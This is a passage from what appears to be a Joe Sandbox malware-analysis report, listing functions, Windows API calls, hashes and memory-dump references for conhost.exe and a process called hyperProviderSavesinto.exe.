Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: a4e1e7e1717ff322f57a31a21cfe81a1ca8fcb1273233c841be29153a3399d83
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 14D1D036714E808AE762CFA9D6403ED3BB1F359B98F14821ACE9997B99DF34C416C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB9814A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001B0BB9814C5
HeapFree.KERNEL32 ref: 000001B0BB9814D4
GetProcessHeap.KERNEL32 ref: 000001B0BB9814E1
HeapFree.KERNEL32 ref: 000001B0BB9814F0
GetProcessHeap.KERNEL32 ref: 000001B0BB981500

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: e650c2cfd8f2a67c7857e70869281234a2778628f1bcd30337712c696f864ebc
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: C0115E7A504E90D7E7B6DF66AA0418A77A0F78DFC5F048029DA899372ADF34C451C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB992980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001B0BB992A9C
GetLastError.KERNEL32 ref: 000001B0BB992B27

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 37cfcfd0819629a6c31e1f20f817aff421e14af81e2c9d0ad8073f4b4aae43eb
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 3391AD3A600E5487F7B29F7996803EE3BA4F749B88F14411DDE8AA7A95DF34C486C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB987960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001B0BB98798C
GetCurrentThreadId.KERNEL32 ref: 000001B0BB98799A
GetCurrentProcessId.KERNEL32 ref: 000001B0BB9879A6
QueryPerformanceCounter.KERNEL32 ref: 000001B0BB9879B6

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: d3019a75ec8cdb39dfaee9deeb1709434ad7af592a6d46799f9ddb4923763fb2
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 11115E3A710F158AEF60CF60E9553EA33A4F71E758F440E25DA6D867A4DF78D1988380

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB98253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001B0BB982620
StrCpyW.SHLWAPI ref: 000001B0BB982639

Strings

\\.\pipe\, xrefs: 000001B0BB98262B

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 319f9652b99f525055038a83e84740e41b75fd1cd59cbe1df669afe486ad09a3
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: DD71903A204F8187E7769E26AE443EB7794F38EBC4F440026DD4A93B99DF35D6458B00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB959E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001B0BB959EB7

Strings

MOC, xrefs: 000001B0BB959E7C
RCC, xrefs: 000001B0BB959E85

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 78b47960dca2f246cd9751345394ebd916103ae52a7e666c2bd268e6589482a1
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 6061643AA04B848AEB32DF65D5803DE7BA0F369B88F144216EF4957B98DF38D595C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB982330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001B0BB982416
StrCpyW.SHLWAPI ref: 000001B0BB98242D

Strings

\\.\pipe\, xrefs: 000001B0BB982421

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 3f9e1e52af2bd9f8d4555ba785bd5b1021212730053515fcb557909e64f47d4e
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B851B13A208F8183F676DA2AAA983EB7751F39E7C0F450125DE5A83B99DF39C5048750

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB9926F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001B0BB992807
GetLastError.KERNEL32 ref: 000001B0BB992829

Strings

U, xrefs: 000001B0BB9927B3

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 60d0abcdc26a4b7ccf8027c4d18f82d1d0bcc890e2baca30bedf8de8e799edd4
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 0E418F36615E8086EB629F25E9443EAB7A0F79CB94F504025EE8DC7798EF3CC441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB9894A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001B0BB9894F0
RaiseException.KERNEL32 ref: 000001B0BB989531

Strings

csm, xrefs: 000001B0BB98951E

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: e47fdc159f18074cac7750adb93c462ee715b3c66656f1238279959ef9d42c69
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 97112B36214F8083EB628B25E94439A77E5F789B94F584224EECC87758DF3CC551CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB957356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001B0BB95737C

Strings

riptor at (, xrefs: 000001B0BB957364
ierarchy Descriptor', xrefs: 000001B0BB957381

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 4fa64ed0352c4a96d86b9f695fb7fea17fd1ccd713bcc0cfd7084b169ce72cd3
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: CDE08671650F4891DF178F21E9802D933A4DB6CB64B889122995C46311FF38D1E9C300

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB9573B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001B0BB9573D8

Strings

Locator', xrefs: 000001B0BB9573DD
riptor at (, xrefs: 000001B0BB9573C0

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 9466b7fd6b9877e20a8f56e68a44694e299580f3630cfe8bbc4b3c74deb6152d
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: D4E08C71A51F4881DF278F21E9802D973A4EB6CB64B889122CA4C86322EF38D1E9C300

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB981BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001B0BB981C2D
HeapAlloc.KERNEL32 ref: 000001B0BB981C3B
GetProcessHeap.KERNEL32 ref: 000001B0BB981C77
HeapFree.KERNEL32 ref: 000001B0BB981C85

Part of subcall function 000001B0BB98152C: StrCmpIW.SHLWAPI ref: 000001B0BB98155D

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 91fa03bcd9773199c22a075b4fdbf7564ef2da50c42fc2dec94d2d22c506b1cf
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: BF114239601F5482EB65DF67A9042AA77A1F78DFC0F184029DE4D97765DF38C442C300

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB981268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001B0BB98126E
HeapAlloc.KERNEL32 ref: 000001B0BB98127D
GetProcessHeap.KERNEL32 ref: 000001B0BB981297
HeapAlloc.KERNEL32 ref: 000001B0BB9812A8

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: c3ec68c3203ee89e498dd9908a4f855afe18b7789e2847a7181934456c7c0b64
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 08E09239601A0487EB658F62D90838B3AE1FB8DF46F04C028C98947361DF7DC4D9C750

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hyperProviderSavesinto.exePID: 7836, Parent PID: 7792COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	75%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BA90D7C Relevance: .3, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3b0f6e8d6a156aebad6b7b636b735f66db165967b14cc8c66301bab57e37b3
Instruction ID: 125639abeec5725345f3908f05acb31954423512816af8e1d6a81d7cf139c47b
Opcode Fuzzy Hash: 1c3b0f6e8d6a156aebad6b7b636b735f66db165967b14cc8c66301bab57e37b3
Instruction Fuzzy Hash: 32A1A372A19A4D8FEBA8DBA8C8657AD7FE1FF59314F04027AD008D72D6CB742901CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BC50A93 Relevance: 1.7, APIs: 1, Instructions: 165
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FFD9BC50B91

Memory Dump Source

Source File: 00000008.00000002.1755047453.00007FFD9BC40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bc40000_hyperProviderSavesinto.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3662cbe442673abb4712def9a9435782bd5dbb5df7b04d192f47d8482169c59f
Instruction ID: 7d8152d80dc15c36fa2647f4aed40686f1b7d512448df248fb66c39ee2c275a1
Opcode Fuzzy Hash: 3662cbe442673abb4712def9a9435782bd5dbb5df7b04d192f47d8482169c59f
Instruction Fuzzy Hash: F8518C70A0D78C8FDB55DFA8C855AEDBBF0EF16310F0441ABD049DB292DA74A846CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BC50BF9 Relevance: 1.6, APIs: 1, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FFD9BC50CD1

Memory Dump Source

Source File: 00000008.00000002.1755047453.00007FFD9BC40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bc40000_hyperProviderSavesinto.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2f886601d1417f0e5d1e8aaea16c11cc800d50c15b7750e61c2fad01d478faac
Instruction ID: c1ea0910dfa9ae01292a52ae9ffed498327435a2e387a2bbd167783d15e3e22c
Opcode Fuzzy Hash: 2f886601d1417f0e5d1e8aaea16c11cc800d50c15b7750e61c2fad01d478faac
Instruction Fuzzy Hash: EE416C70E0864C8FDB59DFA8C895BEDBBF0FF5A310F1441AAD049D7292DA74A885CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BC4F26D Relevance: 1.6, APIs: 1, Instructions: 140
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNELBASE ref: 00007FFD9BC4F341

Memory Dump Source

Source File: 00000008.00000002.1755047453.00007FFD9BC40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bc40000_hyperProviderSavesinto.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: 23ceb2652d241249569d200b2c42b496d604fa85eaa77b0d0581e06db524704f
Instruction ID: 4156a297e3447d4ff29dd53ccbedf7269753c6d97e88fb15eb97c3ec9cd586d1
Opcode Fuzzy Hash: 23ceb2652d241249569d200b2c42b496d604fa85eaa77b0d0581e06db524704f
Instruction Fuzzy Hash: 2F414870E0864C8FDB98DFA8D895AEDBBF0FF5A310F10416AD049E7292DA70A845CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BC528D5 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00007FFD9BC529A2

Memory Dump Source

Source File: 00000008.00000002.1755047453.00007FFD9BC40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9bc40000_hyperProviderSavesinto.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 70317395efe4f00f2b75e57ac3bbffbf91882747edbb0582aa86345595cd5751
Instruction ID: 658d99e365132b62eb30931dd3f01cfc9fabce384b1b242ec315100e9e4bc06f
Opcode Fuzzy Hash: 70317395efe4f00f2b75e57ac3bbffbf91882747edbb0582aa86345595cd5751
Instruction Fuzzy Hash: 1D41F970E0861C8FDB98DF98D895BEDBBF0FB69310F10416AD049E7252DA71A886CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA9232E Relevance: 1.3, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

w, xrefs: 00007FFD9BA93231

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID: w
API String ID: 0-476252946
Opcode ID: 0a35b77629fbe4e5865c7c212998d44c4f8b4cc4ee428ba97b77cae2cb506476
Instruction ID: ebb83ff1053d28718e7c5a2ce18462cd6e93c2a4bae6e156b4d851c485281339
Opcode Fuzzy Hash: 0a35b77629fbe4e5865c7c212998d44c4f8b4cc4ee428ba97b77cae2cb506476
Instruction Fuzzy Hash: DA310C70A0A56ECEEBB0DB54C8547ECB3F0FB14341F5181FAD04DE62A1DA786A85AF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA94339 Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 00007FFD9BA94398

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 603ac81d82be8566eb6b9197545065167fbf88532b286bc1457800799fe9b75d
Instruction ID: d2d38f3a78fd7fc1f195111289487be210e2516ae497560e267d3bb986990223
Opcode Fuzzy Hash: 603ac81d82be8566eb6b9197545065167fbf88532b286bc1457800799fe9b75d
Instruction Fuzzy Hash: 62113D30A0652A8BEB75DB58C8583E8B3B0FB58301F5041E9D10DA62A1CBB85B84DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90908 Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a647fb2b6dbfabde9e2f149581ac7f510e47f7768b6d3194a2f120de617206bf
Instruction ID: f1cf7c6b5bc2f5843325657e17a82d28bffa3f98c7ceb19e411caf00e2677d0f
Opcode Fuzzy Hash: a647fb2b6dbfabde9e2f149581ac7f510e47f7768b6d3194a2f120de617206bf
Instruction Fuzzy Hash: E4518E30A0490D9FCF84EF98D494EED7BF1FF58365B150169E419E7260DA74E990CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90998 Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faf0244bb2077aebd082eed1580c8cf6c76090892effa0387ae10fa86ed10a6d
Instruction ID: 7068b307004dda9ee2dfa22e3970c719b8b6a0e7b05d784bd87a9e97c691b2dd
Opcode Fuzzy Hash: faf0244bb2077aebd082eed1580c8cf6c76090892effa0387ae10fa86ed10a6d
Instruction Fuzzy Hash: 7E410630E1490D9FDB98EF98C895AEDB7B1FF68305F140169E409E32A5CA74A941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90C25 Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a842ff4410c9291d28eb9d71bcc94ac9ea565aa153c9382a365b8bd8076360f
Instruction ID: 1df0100237998fafd6339b4c3491276d066f9e5f38c0406a0c76a2c9201c825e
Opcode Fuzzy Hash: 0a842ff4410c9291d28eb9d71bcc94ac9ea565aa153c9382a365b8bd8076360f
Instruction Fuzzy Hash: 2C213B36B0E25E4AF732A7A89C211ED3720DF52765F054673D1689A1E3C9A8220A8759

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA99998 Relevance: .1, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02b6cafdea001264dc4f5cae4407ac6a2c1ca6b9386bf85548c462afcee23982
Instruction ID: eb0774a669b12d7eca50357311110106de346cf151a99d1aa99c2199855a8d79
Opcode Fuzzy Hash: 02b6cafdea001264dc4f5cae4407ac6a2c1ca6b9386bf85548c462afcee23982
Instruction Fuzzy Hash: 3C31AA30A0891DCFDFA8DB14C855AE9B3F0FB68315F1081EA904DE3265DE719A85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA91172 Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c701a808d74f3cfe2000c58b6df61ba93b6236ff9353545bac8b799e6bd573c1
Instruction ID: b393e79da7add56237894022cc08ea5137005f17f00aca5029f6ef8c5bcc9dc3
Opcode Fuzzy Hash: c701a808d74f3cfe2000c58b6df61ba93b6236ff9353545bac8b799e6bd573c1
Instruction Fuzzy Hash: 42213C30A1490E9FDB94EFA8C8A49ADB7F1FF28340B11057AD409D72A5DF74A941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90C38 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbae01ca8c9b24497b982a7cdfdea10a0d3f8d3e3fd4a65bbe93407284e39689
Instruction ID: 8d999399296df56589e325432264ea534b8a3f30c374bd155c9f6242a02bf0d0
Opcode Fuzzy Hash: bbae01ca8c9b24497b982a7cdfdea10a0d3f8d3e3fd4a65bbe93407284e39689
Instruction Fuzzy Hash: B3112B32B0E25E4FF7329BA4C8201E97770EF42750F064573D054DB1E2D978260AC754

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90C40 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b23c1176e9d648bbbbab0b8c233bbab8ed981c1ae1f9c032554971dcb6c7e81d
Instruction ID: 372a02387984f28fe87acbf17d84e923e4ce6a03abbb6c9748fd05d3d7e853fd
Opcode Fuzzy Hash: b23c1176e9d648bbbbab0b8c233bbab8ed981c1ae1f9c032554971dcb6c7e81d
Instruction Fuzzy Hash: 2211E932F0E69E8FF7229BA4C8201E97770EF52751F064573D064DB1E2CA782609D755

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90B7F Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf0ee676f075118abbcd2d56977f898033df8b78ac00b3fdde7b3462f49d1a9f
Instruction ID: 522b3d866955fdcf05ba05bfc613df30db51b14656e891056ce999eb6ecc4fca
Opcode Fuzzy Hash: bf0ee676f075118abbcd2d56977f898033df8b78ac00b3fdde7b3462f49d1a9f
Instruction Fuzzy Hash: 18117C3162924DCFCB44EF6CC8919EA77A0FF58308F0102AAE84CD7251C730B565CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA90C48 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1753098550.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba90000_hyperProviderSavesinto.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a2234ce25a44b511623a0fa62e1b505e646d83d5a641cdd3a58b8919a9b822b
Instruction ID: 48173338e25a1f27fc863425756757f06bbaabf729558f1e637124febb549ad6
Opcode Fuzzy Hash: 9a2234ce25a44b511623a0fa62e1b505e646d83d5a641cdd3a58b8919a9b822b
Instruction Fuzzy Hash: 1A11DB31F0E29E8FE7229B64C8201E97B70EF42751F0645B3D064DB1E2DA783609C755

